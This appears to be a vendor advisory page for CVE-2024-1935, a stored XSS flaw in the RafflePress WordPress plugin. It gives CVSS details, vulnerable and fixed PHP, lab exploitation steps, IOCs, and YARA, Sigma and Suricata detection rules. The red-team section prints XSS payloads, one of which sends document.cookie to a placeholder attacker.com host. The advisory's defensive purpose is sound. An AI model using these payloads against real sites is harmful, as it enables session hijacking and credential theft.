CVE-2024-1935
Executive Summary
CVE-2024-1935 is a Stored Cross-Site Scripting (XSS) vulnerability in the Giveaways and Contests by RafflePress plugin for WordPress, affecting all versions up to and including 1.12.5. The flaw resides in insufficient sanitization of the parent_url parameter, allowing unauthenticated attackers to inject arbitrary web scripts. When a user (including administrators) accesses a page containing the injected payload, the script executes in the context of the victim’s browser, potentially leading to session hijacking, credential theft, or defacement. As a WordPress plugin vulnerability, it is part of the WordPress ecosystem and must be addressed through plugin updates or manual code fixes.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory and third-party marketplaces. No NPM, PyPI, Go, or Ruby packages are involved. Users should verify the integrity of plugin downloads and monitor for official updates from the vendor.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Base Score: 7.2 (High)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required (victim must visit the injected page)
- Scope: Changed (impact may extend beyond the vulnerable component)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
The threat level is High due to the low attack complexity and the ability for unauthenticated attackers to execute persistent XSS. The EPSS score of 0.0% suggests low exploitation likelihood at this time, but the lack of a patch increases risk.
Deep Dive & Mechanics
The vulnerability exists in the parent_url parameter, which is used by the plugin to handle redirects or embed content. The plugin fails to properly sanitize user-supplied input and escape output when rendering this parameter. An attacker can craft a URL containing malicious JavaScript, such as:
https://example.com/?parent_url=<script>alert('XSS')</script>
When the plugin processes this parameter and stores it (e.g., in a post meta or option), the script is persisted. Any subsequent visitor to the affected page will execute the script. The attack does not require authentication, making it accessible to any external attacker.
The root cause is the use of $_GET['parent_url'] without proper validation or escaping before output. The plugin likely uses functions like echo $parent_url; instead of esc_url() or esc_html().
Vulnerable vs. Patched Code
Vulnerable Code (RafflePress <= 1.12.5):
$parent_url = $_GET['parent_url'];
// ... later in template
echo '<a href="' . $parent_url . '">Click here</a>';
Patched Code (Hypothetical fix):
$parent_url = isset($_GET['parent_url']) ? esc_url($_GET['parent_url']) : '';
// ... later in template
echo '<a href="' . esc_url($parent_url) . '">Click here</a>';
The patched version uses esc_url() to sanitize the URL and esc_url() again on output to prevent script injection. Additionally, input validation should ensure the URL starts with a permitted scheme (e.g., http:// or https://).
Exploitation & Lab Setup
Red Team
- Setup: Install WordPress with RafflePress plugin version 1.12.5 on a local server (e.g., XAMPP or Docker).
- Craft Payload: Use a URL like:
Or a more sophisticated payload:http://target-site.com/?parent_url=javascript:alert(document.cookie)http://target-site.com/?parent_url=%22%3E%3Cscript%3Efetch('https://attacker.com/steal?cookie='%2Bdocument.cookie)%3C/script%3E - Inject: Submit the crafted URL via any form or endpoint that processes
parent_url(e.g., contest creation or settings page). - Trigger: As an admin or visitor, navigate to the page where the payload is stored (e.g., contest listing or settings page). The script executes.
Blue Team
- Detection: Monitor for unusual
parent_urlparameters in HTTP requests, especially those containing<script>,javascript:, or base64-encoded payloads. - Mitigation: Apply a Web Application Firewall (WAF) rule to block requests with suspicious
parent_urlvalues. - Response: If exploitation is suspected, immediately disable the RafflePress plugin and review logs for unauthorized access.
Indicators of Compromise (IOCs)
- URL Parameters: Requests containing
parent_url=with script tags orjavascript:scheme. - Stored Payloads: Database entries in
wp_postmetaorwp_optionscontaining<script>tags in theparent_urlfield. - Outbound Connections: HTTP requests from the WordPress server to external IPs/domains (e.g., attacker-controlled server) initiated by injected scripts.
- Log Entries: Access logs showing repeated requests to pages with
parent_urlparameter from different IPs.
Detection Engineering
YARA Rule
rule CVE_2024_1935_RafflePress_XSS {
meta:
description = "Detects stored XSS payloads in RafflePress parent_url parameter"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-1935"
strings:
$payload1 = /parent_url=.*<script/i
$payload2 = /parent_url=.*javascript:/i
$payload3 = /parent_url=.*onerror/i
condition:
any of them
}
Sigma Rule
title: CVE-2024-1935 RafflePress Stored XSS Detection
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit stored XSS via parent_url parameter in RafflePress
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-uri-query|contains: 'parent_url='
cs-uri-query|re: '(?:<script|javascript:|onerror|onload)'
condition: selection
falsepositives:
- Legitimate use of parent_url with safe URLs
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-1935 RafflePress Stored XSS Attempt"; flow:to_server; content:"parent_url="; http_uri; pcre:"/(?:<script|javascript:|onerror|onload)/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Disable the RafflePress plugin until a patch is available.
- Temporary Fix: Apply a WAF rule to block requests containing
parent_urlwith script-like patterns. - Code Fix: If you have access to the plugin code, replace all instances of
$_GET['parent_url']withesc_url($_GET['parent_url'])and ensure output is escaped withesc_url(). - Monitor: Regularly check for plugin updates from the vendor.
- User Education: Advise users to avoid clicking on suspicious links and to report any unusual behavior.
Valters IT
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.